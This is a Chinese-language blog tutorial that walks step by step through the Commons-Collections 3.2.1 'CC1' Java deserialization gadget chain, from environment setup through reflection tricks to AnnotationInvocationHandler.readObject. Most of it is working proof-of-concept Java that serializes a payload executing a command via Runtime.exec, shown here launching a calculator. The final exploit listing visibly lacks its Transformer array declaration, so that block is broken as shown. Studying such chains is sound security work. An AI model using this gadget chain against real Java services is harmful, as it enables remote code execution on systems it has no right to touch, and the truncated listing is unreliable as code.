本文最后更新于 2025年7月23日 晚上
配置
cc1链要求java版本小于jdk8u71
实测官网最早版本jdk8u71也是打不通了,这里放个链接jdk8u60的
链接: https://pan.baidu.com/s/136ek1pm5HlGIBNFdwh1k8A?pwd=1jhx
设置maven(版本尽量低一点)
然后如下配置
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId> <artifactId>CC</artifactId> <version>1.0-SNAPSHOT</version>
<properties> <maven.compiler.source>1.8</maven.compiler.source> <maven.compiler.target>1.8</maven.compiler.target> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> </properties>
<dependencies> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency>
<dependency> <groupId>commons-beanutils</groupId> <artifactId>commons-beanutils</artifactId> <version>1.9.2</version> </dependency>
<dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.22.0-GA</version> </dependency> </dependencies> </project>
|
之后重启一次idea应该就是好了
可以导入
1
| import org.apache.commons.collections.Transformer;
|
检测是否成功,之后就是开始跟着链子打了
Common-Collections 相关介绍
Apache Commons Collections(简称 Commons-Collections
)是 Apache 提供的一个功能增强的 Java 集合工具包,它在 Java 原生集合框架(如 List
、Map
、Set
)基础上扩展了许多实用功能。该库最初目的是为了 提高 Java 开发效率,但因其灵活的反射和 Transformer 架构,在安全研究中成为了 反序列化攻击链的关键组件。
链子分析
首先要明确的是链子的构建需要开头有readObject
方法,结尾的时候需要有能够命令执行的方法。我们中间通过链子引导过去。类似php的反序列化,正常链子都是通过反推的
寻找尾部exec执行方法
idea反编译看的话都差不多,这里不方便直接点右上方下载源码,直接变成.java
入口类:Transformer类
1 2 3
| public interface Transformer { public Object transform(Object input); }
|

这个类接受一个对象,并对传入的对象进行一些操作。
主要看这两个,先看Map这个,没什么利用点,接着去看Invoke这个方法,打开旁边的结构更方便快速定位

在 InvokerTransformer
类中存在一个反射调用任意类,可以作为我们链子的终点
看到这里有漏洞,我们先尝试构造一下,调用这个类的弹计算器。
由于这里是public所以不需要反射

1 2 3 4 5 6 7 8 9 10 11 12 13
| package org.example; import org.apache.commons.collections.functors.InvokerTransformer; public class Test { public static void main(String[] args) { Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class} , new Object[]{"calc"}); invokerTransformer.transform(runtime); } }
|
- 注意我们最后一句
invokerTransformer.transform(runtime);
- 所以我们下一步的目标是去找调用
transform
方法的不同名函数
初步寻找链子

方便查找如何调用transform

跳转到这里
TransformedMap
类中存在 checkSetValue()
方法调用了 transform()
方法
这里的value可以传入Runtime.getRuntime()
对象
现在去查看一下valueTransformer.checkSetValue
的valueTransformer
是啥
ctrl+左键跟踪,最后到了
这里因为是protected
构造的方法,还需要去找谁调用了 TransformedMap
的构造方法。
查找一下谁调用了他

在 decorate()
静态方法中创建了 TransformedMap
对象
到这一步,尝试将其作为链子的开头,写 POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| package org.example; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.HashedMap; import org.apache.commons.collections.map.TransformedMap; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map; public class Test1 { public static void main(String[] args) throws Exception { Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer =new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); HashedMap hashedMap = new HashedMap(); Map decoratedMap = TransformedMap.decorate(hashedMap,null,invokerTransformer); Class<TransformedMap> transformedMapClass = TransformedMap.class; Method method = transformedMapClass.getDeclaredMethod("checkSetValue", Object.class); method.setAccessible(true); method.invoke(decoratedMap, runtime); } }
|
大致的思路就是(反着看方便)
.transform
<—.checkSetValue
<----valueTransformer字段
<-----TransformedMap类
<-----.decorate
而调用decorate
的方法默认可以用
1 2 3 4
| InvokerTransformer invokerTransformer = new InvokerTransformer("exec" , new Class[]{String.class}, new Object[]{"calc"}); HashMap<Object, Object> hashMap = new HashMap<>(); Map decorateMap = TransformedMap.decorate(hashMap, null, invokerTransformer);
|
接着,因为 .decorate
方法被调用,可以新建 TransformedMap
对象
再通过反射构造攻击手段

完整链子
decorate 是静态方法,它不会自动触发
目前找到的链子位于 checkSetValue
中,找 .decorate
的链子,发现无法进一步前进,所以回到 checkSetValue
重新找链子

这是一个抽象类,是 TransformedMap
的父类。
调用 checkSetValue
方法的类是 AbstractInputCheckedMapDecorator
类中的一个内部类 MapEntry

setValue()
实际就是在 Map 中对一组 entry(键值对进行 setValue()
操作。(这里也是可以跟进的)
所以进行 .decorate
方法调用,进行 Map 遍历的时候,会到 setValue()
中,而 setValue()
就会调用 checkSetValue
可以打个断点分析一下内容,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| package org.example; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.util.HashMap; import java.util.*; public class setValueTest { public static void main(String[] args) throws Exception { Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); HashMap hashmap=new HashMap(); hashmap.put("key", "value"); Map<Object, Object> decorateMap = TransformedMap.decorate(hashmap,null,invokerTransformer); for (Map.Entry entry:decorateMap.entrySet()){ entry.setValue(runtime); } } }
|

找到一个是数组的入口类,遍历这个数组,并执行 setValue
方法,即可构造 Poc。
寻找链首readObject()
链子到了setValue了,继续找(这里没直接定位到,外部库没下源码,将就class看)

有两个if条件
readObject
的方法是类 AnnotationInvocationHandler
的,AnnotationInvocationHandler
的作用域为 default
,我们需要通过反射的方式来获取这个类及其构造函数,再实例化它。

exp
初步
先写正常情况下的理想的exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| package org.example; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map; public class TransformMapExp { public static void main(String[] args) throws Exception { Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); HashMap<Object,Object> hashMap = new HashMap<>(); hashMap.put("key","value"); Map<Object,Object> transformerMap = TransformedMap.decorate(hashMap,null,invokerTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true); Object o = constructor.newInstance(Override.class,transformerMap); serialize(o); unserialize("ser.bin"); } public static void serialize(Object o) throws Exception { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(o); } public static Object unserialize(String Filename) throws Exception { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
现在主要有以下需要解决的问题
Runtime
对象不可序列化,需要通过反射将其变成可以序列化的形式。
setValue()
的传参,是需要传 Runtime
对象的,而实际在AnnotationInvocationHandler
里setValue里是给定的一个对象,不可控

需要绕过两个if判断才能执行
解决Runtime
Runtime
是不能反序列化的,但是他的原型Runtime.class
可以反射的,先写个小的demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| package org.example; import java.lang.reflect.Method; public class solve1 { public static void main(String[] args) throws Exception { Class c =Runtime.class; Method method =c.getMethod("getRuntime"); Runtime runtime = (Runtime)method.invoke(null,null); Method run =c.getMethod("exec",String.class); run.invoke(runtime,"calc"); } }
|
可以将反射的 Runtime
改造为使用 InvokerTransformer
调用的方式。
让其在Runtime.class对象上调用getRuntime方法:
1
| Method getRuntime = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
|

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| package org.example; import org.apache.commons.collections.functors.InvokerTransformer; import java.lang.reflect.Method; public class solve1 { public static void main(String[] args) throws Exception { Class c =Runtime.class; Method getruntime = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(c); Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getruntime); new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime); } }
|

实际操作下重复工作较多,查找用法可以发现ChainedTransformer
类下的 transform
方法递归调用了前一个方法的结果,作为后一个方法的参数。
可以在之前的代码基础上修改一下,创建数组
1 2 3 4 5 6 7 8
| Class c =Runtime.class; Transformer[] transformers = new Transformer[]{new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform(c);
|
可以写成这个样子,把这个内容带入到之前的exp里面(按道理应该弹不出来啊,欸欸欸,先继续看,无伤大雅可能外部包的问题,我之后思考一下)
因为我们并没有绕过两个if(给两个if打断点进行判断),所以要继续往后看
进入到 setValue
第一个 if 语句 if (memberType != null)
所以传入不能为空,也就是传入的注解参数,是有成员变量的

这里可以用 Target.class
尝试

这里memberValue是传入map的键值对。
Target注释里的值是value。所以需要memberValue里键值对里的键的值是value即可。
1
| hashMap.put("value","orange");
|
解决不可控
往下跟程序,发现 setValue()
处中的参数并不可控,而是指定AnnotationTypeMismatchExceptionProxy
类,是无法进行命令执行的。
可以找到ConstantTransformer
这个类

传入的任何对象都放在 iConstant
中,下面的transform()
方法:return iConstant
,就类似常量了
将 AnnotationTypeMismatchExceptionProxy
类作为 transform()
方法的参数
也就是这个转化为这个类似的常量,把这个放到链子里就行了
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| package org.example; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map; public class TransformMapExp { public static void main(String[] args) throws Exception {
new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object,Object> hashMap = new HashMap<>(); hashMap.put("value","orange"); Map<Object,Object> transformerMap = TransformedMap.decorate(hashMap,null,chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true); Object o = constructor.newInstance(Target.class,transformerMap); serialize(o); unserialize("ser.bin"); } public static void serialize(Object o) throws Exception { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(o); } public static Object unserialize(String Filename) throws Exception { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
总结
之前学的基础知识和这篇内容就是参考了drunkbaby师傅的文章写的Java反序列化Commons-Collections篇01-CC1链 | Drunkbaby’s Blog
最后再画一个利用链吧
1 2 3 4 5 6 7
| AnnotationInvocationHandler-->readObject()-->setValue()
TransformedMap-->MapEntry-->checkSetValue() ChainedTransformer-->transform(Transformers[])-->ConstantTransformer-->transform InvokerTransformer-->transform-->getClass-->getMethod-->invoke("exec")
|
